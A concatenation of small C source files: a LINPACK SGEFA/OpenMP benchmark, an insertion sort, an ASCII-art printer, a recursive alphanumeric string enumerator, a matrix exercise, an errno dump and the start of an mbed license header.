printf ( " C + OpenMP version\n" );
printf ( "\n" );
printf ( " Number of processors available = %d\n", omp_get_num_procs ( ) );
printf ( " Number of threads = %d\n", omp_get_max_threads ( ) );
printf ( "\n" );
printf ( " Algorithm Mode N Error Time\n" );
printf ( "\n" );
n = 10;
test01 ( n );
test02 ( n );
test03 ( n );
/*
printf ( "\n" );
n = 100;
test01 ( n );
test02 ( n );
test03 ( n );
printf ( "\n" );
n = 1000;
test01 ( n );
test02 ( n );
test03 ( n );
*/
printf ( "\n" );
printf ( "SGEFA_OPENMP\n" );
printf ( " Normal end of execution.\n" );
printf ( "\n" );
timestamp ( );
return 0;
}
/******************************************************************************/
void test01 ( int n )
/******************************************************************************/
/*
Purpose:
TEST01 runs the sequential version of SGEFA.
Modified:
07 April 2008
Author:
John Burkardt
*/
{
float *a;
float *b;
float err;
int i;
int info;
int *ipvt;
int job;
int lda;
double wtime;
float *x;
/*
Generate the linear system A * x = b.
*/
lda = n;
a = ( float * ) malloc ( lda * n * sizeof ( float ) );
b = ( float * ) malloc ( n * sizeof ( float ) );
x = ( float * ) malloc ( n * sizeof ( float ) );
matgen ( lda, n, a, x, b );
/*
Factor the linear system.
*/
ipvt = ( int * ) malloc ( n * sizeof ( int ) );
wtime = omp_get_wtime ( );
info = sgefa ( a, lda, n, ipvt );
wtime = omp_get_wtime ( ) - wtime;
if ( info != 0 )
{
printf ( "\n" );
printf ( "TEST01 - Fatal error!\n" );
printf ( " SGEFA reports the matrix is singular.\n" );
exit ( 1 );
}
/*
Solve the linear system.
*/
job = 0;
sgesl ( a, lda, n, ipvt, b, job );
err = 0.0;
for ( i = 0; i < n; i++ )
{
err = err + fabs ( x[i] - b[i] );
}
printf ( " Original Sequential %8d %10.4e %10.4e\n", n, err, wtime );
free ( a );
free ( b );
free ( ipvt );
free ( x );
return;
}
/******************************************************************************/
void test02 ( int n )
/******************************************************************************/
/*
Purpose:
TEST02 runs the revised version of SGEFA in parallel.
Modified:
07 April 2008
Author:
John Burkardt
*/
{
float *a;
float *b;
float err;
int i;
int info;
int *ipvt;
int job;
int lda;
double wtime;
float *x;
/*
Generate the linear system A * x = b.
*/
lda = n;
a = ( float * ) malloc ( lda * n * sizeof ( float ) );
b = ( float * ) malloc ( n * sizeof ( float ) );
x = ( float * ) malloc ( n * sizeof ( float ) );
matgen ( lda, n, a, x, b );
/*
Factor the linear system.
*/
ipvt = ( int * ) malloc ( n * sizeof ( int ) );
wtime = omp_get_wtime ( );
info = msgefa ( a, lda, n, ipvt );
wtime = omp_get_wtime ( ) - wtime;
if ( info != 0 )
{
printf ( "\n" );
printf ( "TEST02 - Fatal error!\n" );
printf ( " MSGEFA reports the matrix is singular.\n" );
exit ( 1 );
}
/*
Solve the linear system.
*/
job = 0;
sgesl ( a, lda, n, ipvt, b, job );
err = 0.0;
for ( i = 0; i < n; i++ )
{
err = err + fabs ( x[i] - b[i] );
}
printf ( " Revised Parallel %8d %10.4e %10.4e\n", n, err, wtime );
free ( a );
free ( b );
free ( ipvt );
free ( x );
return;
}
/******************************************************************************/
void test03 ( int n )
/******************************************************************************/
/*
Purpose:
TEST03 runs the revised version of SGEFA in sequential mode.
Modified:
07 April 2008
Author:
John Burkardt
*/
{
float *a;
float *b;
float err;
int i;
int info;
int *ipvt;
int job;
int lda;
double wtime;
float *x;
/*
Generate the linear system A * x = b.
*/
lda = n;
a = ( float * ) malloc ( lda * n * sizeof ( float ) );
b = ( float * ) malloc ( n * sizeof ( float ) );
x = ( float * ) malloc ( n * sizeof ( float ) );
matgen ( lda, n, a, x, b );
/*
Factor the linear system.
*/
ipvt = ( int * ) malloc ( n * sizeof ( int ) );
wtime = omp_get_wtime ( );
info = msgefa2 ( a, lda, n, ipvt );
wtime = omp_get_wtime ( ) - wtime;
if ( info != 0 )
{
printf ( "\n" );
printf ( "TEST03 - Fatal error!\n" );
printf ( " MSGEFA2 reports the matrix is singular.\n" );
exit ( 1 );
}
/*
Solve the linear system.
*/
job = 0;
sgesl ( a, lda, n, ipvt, b, job );
err = 0.0;
for ( i = 0; i < n; i++ )
{
err = err + fabs ( x[i] - b[i] );
}
printf ( " Revised Sequential %8d %10.4e %10.4e\n", n, err, wtime );
free ( a );
free ( b );
free ( ipvt );
free ( x );
return;
}
/******************************************************************************/
int isamax ( int n, float x[], int incx )
/******************************************************************************/
/*
Purpose:
ISAMAX finds the index of the vector element of maximum absolute value.
Discussion:
WARNING: This index is a 1-based index, not a 0-based index!
Modified:
07 April 2008
Author:
FORTRAN77 original version by Lawson, Hanson, Kincaid, Krogh.
C version by John Burkardt
Reference:
Jack Dongarra, Cleve Moler, Jim Bunch, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979,
ISBN13: 978-0-898711-72-1,
LC: QA214.L56.
Charles Lawson, Richard Hanson, David Kincaid, Fred Krogh,
Algorithm 539:
Basic Linear Algebra Subprograms for Fortran Usage,
ACM Transactions on Mathematical Software,
Volume 5, Number 3, September 1979, pages 308-323.
Parameters:
Input, int N, the number of entries in the vector.
Input, float X[*], the vector to be examined.
Input, int INCX, the increment between successive entries of SX.
Output, int ISAMAX, the index of the element of maximum
absolute value.
*/
{
float xmax;
int i;
int ix;
int value;
value = 0;
if ( n < 1 || incx <= 0 )
{
return value;
}
value = 1;
if ( n == 1 )
{
return value;
}
if ( incx == 1 )
{
xmax = fabs ( x[0] );
for ( i = 1; i < n; i++ )
{
if ( xmax < fabs ( x[i] ) )
{
value = i + 1;
xmax = fabs ( x[i] );
}
}
}
else
{
ix = 0;
xmax = fabs ( x[0] );
ix = ix + incx;
for ( i = 1; i < n; i++ )
{
if ( xmax < fabs ( x[ix] ) )
{
value = i + 1;
xmax = fabs ( x[ix] );
}
ix = ix + incx;
}
}
return value;
}
/*******************************************************************************/
void matgen ( int lda, int n, float a[], float x[], float b[] )
/*******************************************************************************/
/*
Purpose:
MATGEN generates a "random" matrix for testing.
Modified:
27 April 2008
Author:
John Burkardt
Parameters:
Input, int LDA, the leading dimension of the matrix.
Input, int N, the order of the matrix, and the length of the vector.
Output, float A[LDA*N], the matrix.
Output, float X[N], the solution vector.
Output, float B[N], the right hand side vector.
*/
{
int i;
int j;
int seed;
float value;
seed = 1325;
/*
Set the matrix A.
*/
for ( j = 0; j < n; j++ )
{
for ( i = 0; i < n; i++ )
{
seed = ( 3125 * seed ) % 65536;
value = ( ( float ) seed - 32768.0 ) / 16384.0;
a[i+j*lda] = value;
}
}
/*
Set x.
*/
for ( i = 0; i < n; i++ )
{
x[i] = ( float ) ( i + 1 ) / ( ( float ) n );
}
/*
Set b = A * x.
*/
for ( i = 0; i < n; i++ )
{
b[i] = 0.0;
for ( j = 0; j < n; j++ )
{
b[i] = b[i] + a[i+j*lda] * x[j];
}
}
return;
}
/******************************************************************************/
void msaxpy ( int nr, int nc, float a[], int n, float x[], float y[] )
/******************************************************************************/
/*
Purpose:
MSAXPY carries out multiple "SAXPY" operations.
Discussion:
This routine carries out the step of Gaussian elimination where multiples
of the pivot row are added to the rows below the pivot row.
A single call to MSAXPY replaces multiple calls to SAXPY.
Modified:
07 April 2008
Author:
Wesley Petersen
Parameters:
Input, int NR, NC, the number of rows and columns in the matrix.
Input, float A[*], ...
Input, int N, ...
Input, float X[*], ...
Output, float Y[*], ...
*/
{
int i,j;
# pragma omp parallel \
shared ( a, nc, nr, x, y ) \
private ( i, j )
# pragma omp for
for ( j = 0; j < nc; j++)
{
for ( i = 0; i < nr; i++ )
{
y[i+j*n] += a[j*n] * x[i];
}
}
return;
}
/******************************************************************************/
void msaxpy2 ( int nr, int nc, float a[], int n, float x[], float y[] )
/******************************************************************************/
/*
Purpose:
MSAXPY2 carries out multiple "SAXPY" operations.
Discussion:
This routine carries out the step of Gaussian elimination where multiples
of the pivot row are added to the rows below the pivot row.
A single call to MSAXPY replaces multiple calls to SAXPY.
Modified:
07 April 2008
Author:
Wesley Petersen
Parameters:
Input, int NR, NC, the number of rows and columns in the matrix.
Input, float A[*], ...
Input, int N, ...
Input, float X[*], ...
Output, float Y[*], ...
*/
{
int i,j;
for ( j = 0; j < nc; j++)
{
for ( i = 0; i < nr; i++ )
{
y[i+j*n] += a[j*n] * x[i];
}
}
return;
}
/******************************************************************************/
int msgefa ( float a[], int lda, int n, int ipvt[] )
/******************************************************************************/
/*
Purpose:
MSGEFA factors a matrix by gaussian elimination.
Discussion:
Matrix references which would, mathematically, be written A(I,J)
must be written here as:
* A[I+J*LDA], when the value is needed, or
* A+I+J*LDA, when the address is needed.
This variant of SGEFA uses OpenMP for improved parallel execution.
The step in which multiples of the pivot row are added to individual
rows has been replaced by a single call which updates the entire
matrix sub-block.
Modified:
07 March 2008
Author:
FORTRAN77 original version by Cleve Moler.
C version by Wesley Petersen.
Reference:
Jack Dongarra, Jim Bunch, Cleve Moler, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979,
ISBN13: 978-0-898711-72-1,
LC: QA214.L56.
Parameters:
Input/output, float A[LDA*N]. On input, the matrix to be factored.
On output, an upper triangular matrix and the multipliers which were
used to obtain it. The factorization can be written A = L * U where
L is a product of permutation and unit lower triangular matrices and
U is upper triangular.
Input, int LDA, the leading dimension of the matrix.
Input, int N, the order of the matrix.
Output, int IPVT[N], the pivot indices.
Output, int MSGEFA, indicates singularity.
If 0, this is the normal value, and the algorithm succeeded.
If K, then on the K-th elimination step, a zero pivot was encountered.
The matrix is numerically not invertible.
*/
{
int info;
int k,kp1,l,nm1;
float t;
info = 0;
nm1 = n - 1;
for ( k = 0; k < nm1; k++ )
{
kp1 = k + 1;
l = isamax ( n-k, a+k+k*lda, 1 ) + k - 1;
ipvt[k] = l + 1;
if ( a[l+k*lda] == 0.0 )
{
info = k + 1;
return info;
}
if ( l != k )
{
t = a[l+k*lda];
a[l+k*lda] = a[k+k*lda];
a[k+k*lda] = t;
}
t = -1.0 / a[k+k*lda];
sscal ( n-k-1, t, a+kp1+k*lda, 1 );
/*
Interchange the pivot row and the K-th row.
*/
if ( l != k )
{
sswap ( n-k-1, a+l+kp1*lda, lda, a+k+kp1*lda, lda );
}
/*
Add multiples of the K-th row to rows K+1 through N.
*/
msaxpy ( n-k-1, n-k-1, a+k+kp1*lda, n, a+kp1+k*lda, a+kp1+kp1*lda );
}
ipvt[n-1] = n;
if ( a[n-1+(n-1)*lda] == 0.0 )
{
info = n;
}
return info;
}
/******************************************************************************/
int msgefa2 ( float a[], int lda, int n, int ipvt[] )
/******************************************************************************/
/*
Purpose:
MSGEFA2 factors a matrix by gaussian elimination.
Discussion:
Matrix references which would, mathematically, be written A(I,J)
must be written here as:
* A[I+J*LDA], when the value is needed, or
* A+I+J*LDA, when the address is needed.
This variant of SGEFA uses OpenMP for improved parallel execution.
The step in which multiples of the pivot row are added to individual
rows has been replaced by a single call which updates the entire
matrix sub-block.
Modified:
07 March 2008
Author:
FORTRAN77 original version by Cleve Moler.
C version by Wesley Petersen.
Reference:
Jack Dongarra, Jim Bunch, Cleve Moler, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979,
ISBN13: 978-0-898711-72-1,
LC: QA214.L56.
Parameters:
Input/output, float A[LDA*N]. On input, the matrix to be factored.
On output, an upper triangular matrix and the multipliers which were
used to obtain it. The factorization can be written A = L * U where
L is a product of permutation and unit lower triangular matrices and
U is upper triangular.
Input, int LDA, the leading dimension of the matrix.
Input, int N, the order of the matrix.
Output, int IPVT[N], the pivot indices.
Output, int MSGEFA, indicates singularity.
If 0, this is the normal value, and the algorithm succeeded.
If K, then on the K-th elimination step, a zero pivot was encountered.
The matrix is numerically not invertible.
*/
{
int info;
int k,kp1,l,nm1;
float t;
info = 0;
nm1 = n - 1;
for ( k = 0; k < nm1; k++ )
{
kp1 = k + 1;
l = isamax ( n-k, a+k+k*lda, 1 ) + k - 1;
ipvt[k] = l + 1;
if ( a[l+k*lda] == 0.0 )
{
info = k + 1;
return info;
}
if ( l != k )
{
t = a[l+k*lda];
a[l+k*lda] = a[k+k*lda];
a[k+k*lda] = t;
}
t = -1.0 / a[k+k*lda];
sscal ( n-k-1, t, a+kp1+k*lda, 1 );
/*
Interchange the pivot row and the K-th row.
*/
if ( l != k )
{
sswap ( n-k-1, a+l+kp1*lda, lda, a+k+kp1*lda, lda );
}
/*
Add multiples of the K-th row to rows K+1 through N.
*/
msaxpy2 ( n-k-1, n-k-1, a+k+kp1*lda, n, a+kp1+k*lda, a+kp1+kp1*lda );
}
ipvt[n-1] = n;
if ( a[n-1+(n-1)*lda] == 0.0 )
{
info = n;
}
return info;
}
/******************************************************************************/
void saxpy ( int n, float a, float x[], int incx, float y[], int incy )
/******************************************************************************/
/*
Purpose:
SAXPY computes float constant times a vector plus a vector.
Discussion:
This routine uses unrolled loops for increments equal to one.
Modified:
23 February 2006
Author:
FORTRAN77 original version by Dongarra, Moler, Bunch, Stewart.
C version by John Burkardt
Reference:
Jack Dongarra, Cleve Moler, Jim Bunch, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979,
ISBN13: 978-0-898711-72-1,
LC: QA214.L56.
Charles Lawson, Richard Hanson, David Kincaid, Fred Krogh,
Basic Linear Algebra Subprograms for Fortran Usage,
Algorithm 539,
ACM Transactions on Mathematical Software,
Volume 5, Number 3, September 1979, pages 308-323.
Parameters:
Input, int N, the number of elements in X and Y.
Input, float A, the multiplier of X.
Input, float X[*], the first vector.
Input, int INCX, the increment between successive entries of X.
Input/output, float Y[*], the second vector.
On output, Y[*] has been replaced by Y[*] + A * X[*].
Input, int INCY, the increment between successive entries of Y.
*/
{
int i;
int ix;
int iy;
int m;
if ( n <= 0 )
{
return;
}
if ( a == 0.0 )
{
return;
}
/*
Code for unequal increments or equal increments
not equal to 1.
*/
if ( incx != 1 || incy != 1 )
{
if ( 0 <= incx )
{
ix = 0;
}
else
{
ix = ( - n + 1 ) * incx;
}
if ( 0 <= incy )
{
iy = 0;
}
else
{
iy = ( - n + 1 ) * incy;
}
for ( i = 0; i < n; i++ )
{
y[iy] = y[iy] + a * x[ix];
ix = ix + incx;
iy = iy + incy;
}
}
/*
Code for both increments equal to 1.
*/
else
{
m = n % 4;
for ( i = 0; i < m; i++ )
{
y[i] = y[i] + a * x[i];
}
for ( i = m; i < n; i = i + 4 )
{
y[i ] = y[i ] + a * x[i ];
y[i+1] = y[i+1] + a * x[i+1];
y[i+2] = y[i+2] + a * x[i+2];
y[i+3] = y[i+3] + a * x[i+3];
}
}
return;
}
/******************************************************************************/
float sdot ( int n, float x[], int incx, float y[], int incy )
/******************************************************************************/
/*
Purpose:
SDOT forms the dot product of two vectors.
Discussion:
This routine uses unrolled loops for increments equal to one.
Modified:
23 February 2006
Author:
FORTRAN77 original version by Dongarra, Moler, Bunch, Stewart
C version by John Burkardt
Reference:
Jack Dongarra, Cleve Moler, Jim Bunch, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979.
Charles Lawson, Richard Hanson, David Kincaid, Fred Krogh,
Basic Linear Algebra Subprograms for Fortran Usage,
Algorithm 539,
ACM Transactions on Mathematical Software,
Volume 5, Number 3, September 1979, pages 308-323.
Parameters:
Input, int N, the number of entries in the vectors.
Input, float X[*], the first vector.
Input, int INCX, the increment between successive entries in X.
Input, float Y[*], the second vector.
Input, int INCY, the increment between successive entries in Y.
Output, float SDOT, the sum of the product of the corresponding
entries of X and Y.
*/
{
int i;
int ix;
int iy;
int m;
float temp;
temp = 0.0;
if ( n <= 0 )
{
return temp;
}
/*
Code for unequal increments or equal increments
not equal to 1.
*/
if ( incx != 1 || incy != 1 )
{
if ( 0 <= incx )
{
ix = 0;
}
else
{
ix = ( - n + 1 ) * incx;
}
if ( 0 <= incy )
{
iy = 0;
}
else
{
iy = ( - n + 1 ) * incy;
}
for ( i = 0; i < n; i++ )
{
temp = temp + x[ix] * y[iy];
ix = ix + incx;
iy = iy + incy;
}
}
/*
Code for both increments equal to 1.
*/
else
{
m = n % 5;
for ( i = 0; i < m; i++ )
{
temp = temp + x[i] * y[i];
}
for ( i = m; i < n; i = i + 5 )
{
temp = temp + x[i ] * y[i ]
+ x[i+1] * y[i+1]
+ x[i+2] * y[i+2]
+ x[i+3] * y[i+3]
+ x[i+4] * y[i+4];
}
}
return temp;
}
/*******************************************************************************/
int sgefa ( float a[], int lda, int n, int ipvt[] )
/*******************************************************************************/
/*
Purpose:
SGEFA factors a matrix by gaussian elimination.
Discussion:
Matrix references which would, mathematically, be written A(I,J)
must be written here as:
* A[I+J*LDA], when the value is needed, or
* A+I+J*LDA, when the address is needed.
Modified:
07 March 2008
Author:
FORTRAN77 original version by Cleve Moler.
C version by John Burkardt.
Reference:
Jack Dongarra, Jim Bunch, Cleve Moler, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979,
ISBN13: 978-0-898711-72-1,
LC: QA214.L56.
Parameters:
Input/output, float A[LDA*N]. On input, the matrix to be factored.
On output, an upper triangular matrix and the multipliers which were
used to obtain it. The factorization can be written A = L * U where
L is a product of permutation and unit lower triangular matrices and
U is upper triangular.
Input, int LDA, the leading dimension of the matrix.
Input, int N, the order of the matrix.
Output, int IPVT[N], the pivot indices.
Output, int SGEFA, indicates singularity.
If 0, this is the normal value, and the algorithm succeeded.
If K, then on the K-th elimination step, a zero pivot was encountered.
The matrix is numerically not invertible.
*/
{
int j;
int info;
int k;
int kp1;
int l;
int nm1;
float t;
info = 0;
for ( k = 1; k <= n - 1; k++ )
{
/*
Find l = pivot index.
*/
l = isamax ( n-k+1, &a[k-1+(k-1)*lda], 1 ) + k - 1;
ipvt[k-1] = l;
/*
Zero pivot implies this column already triangularized.
*/
if ( a[l-1+(k-1)*lda] != 0.0 )
{
/*
Interchange if necessary.
*/
if ( l != k )
{
t = a[l-1+(k-1)*lda];
a[l-1+(k-1)*lda] = a[k-1+(k-1)*lda];
a[k-1+(k-1)*lda] = t;
}
/*
Compute multipliers.
*/
t = - 1.0 / a[k-1+(k-1)*lda];
sscal ( n-k, t, &a[k+(k-1)*lda], 1 );
/*
Row elimination with column indexing.
*/
for ( j = k + 1; j <= n; j++ )
{
t = a[l-1+(j-1)*lda];
if (l != k)
{
a[l-1+(j-1)*lda] = a[k-1+(j-1)*lda];
a[k-1+(j-1)*lda] = t;
}
saxpy ( n-k, t, &a[k+(k-1)*lda], 1, &a[k+(j-1)*lda], 1 );
}
}
else
{
info = k;
}
}
ipvt[n-1] = n;
if (a[n-1+(n-1)*lda] == 0.0 )
{
info = n - 1;
}
return info;
}
/******************************************************************************/
void sgesl ( float a[], int lda, int n, int ipvt[], float b[], int job )
/******************************************************************************/
/*
Purpose:
SGESL solves a real general linear system A * X = B.
Discussion:
SGESL can solve either of the systems A * X = B or A' * X = B.
The system matrix must have been factored by SGECO or SGEFA.
A division by zero will occur if the input factor contains a
zero on the diagonal. Technically this indicates singularity
but it is often caused by improper arguments or improper
setting of LDA. It will not occur if the subroutines are
called correctly and if SGECO has set 0.0 < RCOND
or SGEFA has set INFO == 0.
Modified:
04 April 2006
Author:
FORTRAN77 original by Dongarra, Moler, Bunch and Stewart.
C translation by John Burkardt.
Reference:
Jack Dongarra, Cleve Moler, Jim Bunch, Pete Stewart,
LINPACK User's Guide,
SIAM, (Society for Industrial and Applied Mathematics),
3600 University City Science Center,
Philadelphia, PA, 19104-2688.
ISBN: 0-89871-172-X
Parameters:
Input, float A[LDA*N], the output from SGECO or SGEFA.
Input, int LDA, the leading dimension of A.
Input, int N, the order of the matrix A.
Input, int IPVT[N], the pivot vector from SGECO or SGEFA.
Input/output, float B[N].
On input, the right hand side vector.
On output, the solution vector.
Input, int JOB.
0, solve A * X = B;
nonzero, solve A' * X = B.
*/
{
int k;
int l;
float t;
/*
Solve A * X = B.
*/
if ( job == 0 )
{
for ( k = 1; k <= n-1; k++ )
{
l = ipvt[k-1];
t = b[l-1];
if ( l != k )
{
b[l-1] = b[k-1];
b[k-1] = t;
}
saxpy ( n-k, t, a+k+(k-1)*lda, 1, b+k, 1 );
}
for ( k = n; 1 <= k; k-- )
{
b[k-1] = b[k-1] / a[k-1+(k-1)*lda];
t = -b[k-1];
saxpy ( k-1, t, a+0+(k-1)*lda, 1, b, 1 );
}
}
/*
Solve A' * X = B.
*/
else
{
for ( k = 1; k <= n; k++ )
{
t = sdot ( k-1, a+0+(k-1)*lda, 1, b, 1 );
b[k-1] = ( b[k-1] - t ) / a[k-1+(k-1)*lda];
}
for ( k = n-1; 1 <= k; k-- )
{
b[k-1] = b[k-1] + sdot ( n-k, a+k+(k-1)*lda, 1, b+k, 1 );
l = ipvt[k-1];
if ( l != k )
{
t = b[l-1];
b[l-1] = b[k-1];
b[k-1] = t;
}
}
}
return;
}
/******************************************************************************/
void sscal ( int n, float sa, float x[], int incx )
/******************************************************************************/
/*
Purpose:
SSCAL scales a float vector by a constant.
Modified:
23 February 2006
Author:
Jack Dongarra
C version by John Burkardt
Reference:
Jack Dongarra, Cleve Moler, Jim Bunch, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979,
ISBN13: 978-0-898711-72-1,
LC: QA214.L56.
Charles Lawson, Richard Hanson, David Kincaid, Fred Krogh,
Basic Linear Algebra Subprograms for Fortran Usage,
Algorithm 539,
ACM Transactions on Mathematical Software,
Volume 5, Number 3, September 1979, pages 308-323.
Parameters:
Input, int N, the number of entries in the vector.
Input, float SA, the multiplier.
Input/output, float X[*], the vector to be scaled.
Input, int INCX, the increment between successive entries of X.
*/
{
int i;
int ix;
int m;
if ( n <= 0 )
{
}
else if ( incx == 1 )
{
m = n % 5;
for ( i = 0; i < m; i++ )
{
x[i] = sa * x[i];
}
for ( i = m; i < n; i = i + 5 )
{
x[i] = sa * x[i];
x[i+1] = sa * x[i+1];
x[i+2] = sa * x[i+2];
x[i+3] = sa * x[i+3];
x[i+4] = sa * x[i+4];
}
}
else
{
if ( 0 <= incx )
{
ix = 0;
}
else
{
ix = ( - n + 1 ) * incx;
}
for ( i = 0; i < n; i++ )
{
x[ix] = sa * x[ix];
ix = ix + incx;
}
}
return;
}
/******************************************************************************/
void sswap ( int n, float x[], int incx, float y[], int incy )
/******************************************************************************/
/*
Purpose:
SSWAP interchanges two float vectors.
Modified:
23 February 2006
Author:
C version by John Burkardt
Reference:
Jack Dongarra, Cleve Moler, Jim Bunch, Pete Stewart,
LINPACK User's Guide,
SIAM, 1979,
ISBN13: 978-0-898711-72-1,
LC: QA214.L56.
Charles Lawson, Richard Hanson, David Kincaid, Fred Krogh,
Basic Linear Algebra Subprograms for Fortran Usage,
Algorithm 539,
ACM Transactions on Mathematical Software,
Volume 5, Number 3, September 1979, pages 308-323.
Parameters:
Input, int N, the number of entries in the vectors.
Input/output, float X[*], one of the vectors to swap.
Input, int INCX, the increment between successive entries of X.
Input/output, float Y[*], one of the vectors to swap.
Input, int INCY, the increment between successive elements of Y.
*/
{
int i;
int ix;
int iy;
int m;
float temp;
if ( n <= 0 )
{
}
else if ( incx == 1 && incy == 1 )
{
m = n % 3;
for ( i = 0; i < m; i++ )
{
temp = x[i];
x[i] = y[i];
y[i] = temp;
}
for ( i = m; i < n; i = i + 3 )
{
temp = x[i];
x[i] = y[i];
y[i] = temp;
temp = x[i+1];
x[i+1] = y[i+1];
y[i+1] = temp;
temp = x[i+2];
x[i+2] = y[i+2];
y[i+2] = temp;
}
}
else
{
if ( 0 <= incx )
{
ix = 0;
}
else
{
ix = ( - n + 1 ) * incx;
}
if ( 0 <= incy )
{
iy = 0;
}
else
{
iy = ( - n + 1 ) * incy;
}
for ( i = 0; i < n; i++ )
{
temp = x[ix];
x[ix] = y[iy];
y[iy] = temp;
ix = ix + incx;
iy = iy + incy;
}
}
return;
}
/******************************************************************************/
void timestamp ( void )
/******************************************************************************/
/*
Purpose:
TIMESTAMP prints the current YMDHMS date as a time stamp.
Example:
31 May 2001 09:45:54 AM
Modified:
24 September 2003
Author:
John Burkardt
Parameters:
None
*/
{
# define TIME_SIZE 40
static char time_buffer[TIME_SIZE];
const struct tm *tm;
size_t len;
time_t now;
//now = time ( NULL );
//tm = localtime ( &now );
//len = strftime ( time_buffer, TIME_SIZE, "%d %B %Y %I:%M:%S %p", tm );
//printf ( "%s\n", time_buffer );
return;
# undef TIME_SIZE
}
|
the_stack_data/135280.c
|
/* ***********************************************************************
*
* Insertion Sort
*
* Insertion sort is a popular sorting algorithm for smaller-sized arrays.
* Many sophisticated sorting algorithms will drop down to using insertion
* sort for sorting smaller list of values.
*
* Insertion sort iterates through the array one at a time, making sure
* the left side of the array is sorted as it progresses from left-to-
* right. It plucks the next value from the array and shifts the left-side
* of the array as necessary to put that value in its sorted position.
*
* Runs in O(n^2).
*
* ******************************************************************** */
#include <assert.h>
void insertionSort(int *array, int array_size) {
for (int i=1; i < array_size; i++) {
int value = array[i];
int j = i-1;
while(j > -1 && value < array[j]) {
array[j+1] = array[j];
j--;
}
array[j+1] = value;
}
}
int main (int argc, char *argv[]) {
int array[] = {10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0};
int array_size = sizeof(array)/sizeof(array[0]);
insertionSort(array, array_size);
for(int i=0; i < array_size; i++) {
assert(array[i] == i);
}
return 0;
}
|
the_stack_data/182952041.c
|
#include <stdio.h>
int main() {
char str[] = "ED..GDAD..DLEB..COCC..CV..FS..HQ..JN..MP..Go..Cr..Cq..Cp..Fk..Jf..J`..I`..H`ID..J^HE..K^FG..N[ABCG..L`CG..MTBT..MUCS..NTDBCBAJ..NUBBHI..OTMI..OROI..OGDCSI..PE[I..RC[I..rBDB..rB..sB..tB";
int c, i;
for(i = 0; i < strlen(str); i++) {
c = str[i]-64;
if(str[i] == 46){
putchar(10);
++i;
}
else if(i % 2 == 0) {
while(c != 0) {
putchar(32);
c--;
}
}
else {
while(c != 0) {
putchar(124);
c--;
}
}
}
}
|
the_stack_data/857952.c
|
int catchme(int i);
int infinite(int i) {
while (1) {
continue;
}
return 42;
}
|
the_stack_data/603009.c
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// https://codereview.stackexchange.com/questions/38474/brute-force-algorithm-in-c
static const char alphabet[] =
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"0123456789";
static const int alphabetSize = sizeof(alphabet) - 1;
static void bruteImpl(char* str, int index, int maxDepth)
{
for (int i = 0; i < alphabetSize; ++i)
{
str[index] = alphabet[i];
if (index == maxDepth - 1) printf("%s\n", str);
else bruteImpl(str, index + 1, maxDepth);
}
}
static void bruteSequential(int maxLen)
{
char* buf = calloc(maxLen + 1, sizeof(char));
for (int i = 1; i <= maxLen; ++i)
{
memset(buf, 0, maxLen + 1);
bruteImpl(buf, 0, i);
}
free(buf);
}
int main(int argc, char *argv[])
{
if (argc < 2) {
fprintf(stderr, "Usage: %s Length\n", argv[0]);
exit(1);
}
bruteSequential(atoi(argv[1]));
return 0;
}
|
the_stack_data/37636524.c
|
#include<stdio.h>
#define N 3
void print(int matriz[][N])
{
int i,j;
for(i=0;i<N;i++)
{
printf("%d",matriz[i][0]);
for(j=1;j<N;j++)
{
printf(" %d",matriz[i][j]);
}
printf("\n");
}
}
void read(int matriz[][N])
{
int i,j;
for(i=0;i<N;i++)
{
for(j=0;j<N;j++){
scanf("%d",&matriz[i][j]);
}
}
}
void calculoEstranho(int matriz[][N])
{
int i,j;
for(i=1;i<N;i++)
{
for(j=1;j<N;j++){
matriz[i][j]=matriz[i][j]+matriz[i-1][j-1];
}
}
}
int main()
{
int matriz[N][N];
printf("Matriz %dx%d:\n",N,N);
read(matriz);
calculoEstranho(matriz);
printf("Algum valor estranho: %d\n",matriz[N-1][N-1]);
return 0;
}
|
the_stack_data/92329026.c
|
/*-
* Copyright (c) 2005, Kohsuke Ohtani
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the author nor the names of any co-contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* errno.c - dump the detail of all avilable errno.
*/
#include <string.h>
#include <stdio.h>
extern const int sys_nerr;
int main(int argc, char* argv[])
{
int i;
printf("Dump errno\n");
for (i = 0; i < sys_nerr; i++)
printf("error #%d:%s\n", i, strerror(i));
return 0;
}
|
the_stack_data/181393171.c
|
/* mbed Microcontroller Library
*******************************************************************************
* Copyright (c) 2017, STMicroelectronics
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
